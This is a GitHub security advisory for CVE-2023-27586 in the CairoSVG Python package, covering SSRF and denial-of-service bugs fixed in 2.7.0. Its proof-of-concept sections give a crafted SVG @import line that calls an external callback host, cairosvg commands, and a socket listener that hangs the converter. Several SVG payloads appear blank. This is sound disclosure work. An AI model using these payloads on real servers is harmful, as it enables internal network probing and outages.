GitHub Advisoryadvisory · PyPI
GHSA-rwmf-w63j-p7gv CairoSVG improperly processes SVG files loaded from external resources
HIGH
Official page ↗
- Aliases
- CVE-2023-27586
- Ecosystem
- PyPI
- Packages
- CairoSVG
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L
- Weaknesses
- CWE-20, CWE-918
- Reviewed
- 2023-03-20
Affected packages
• PyPI CairoSVG: < 2.7.0 → fixed in 2.7.0
Description
SSRF vulnerability
Summary
When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.
Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
Tested CairoSVG version
2.6.0
Details
A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources.
It looks like this bug can affect websites and cause request forgery on the server.
PoC
1. Generating malicious svg file:
1.1 CairoSVG_exploit.svg:
```svg
@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");
```
1.2 CairoSVG_exploit_2.svg:
```svg
```
1.3 CairoSVG_exploit_3.svg:
```svg
```
2. Run some commands:
`$ python3 -m cairosvg CairoSVG_exploit.svg -f png`
`$ python3 -m cairosvg CairoSVG_exploit_2.svg -f png`
`$ python3 -m cairosvg CairoSVG_exploit_3.svg -f png `
3. See result requests in Burp Collaborator:
DOS vulnerability with SSTI
Summary
When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang.
It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.
Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
Tested CairoSVG version
2.6.0
PoC
1. Generating malicious svg file:
```svg
```
2. In other server run this python program:
```python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
while True:
data = conn.recv(2048)
s.close()
```
3. Run commands:
`$timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png`
(without timeout server will hang forever)
DOS vulnerability with stdin file descriptor
Summary
Specially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file.
It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.
Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
Tested CairoSVG version
2.6.0
PoC
1. Generating malicious svg file:
```svg
```
2. In other server run this python program:
```python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
while True:
data = conn.recv(2048)
s.close()
```
3. Run commands:
`$timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png`
Related
Alias · CVE (1)
- CVE-2023-27586 CairoSVG is an SVG converter based on Cairo, a 2D graphics library. vulnerability
References
- https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv web
- https://nvd.nist.gov/vuln/detail/CVE-2023-27586 advisory
- https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255 web
- https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53 web
- https://github.com/Kozea/CairoSVG package
- https://github.com/Kozea/CairoSVG/releases/tag/2.7.0 web
- https://github.com/pypa/advisory-database/tree/main/vulns/cairosvg/PYSEC-2023-9.yaml web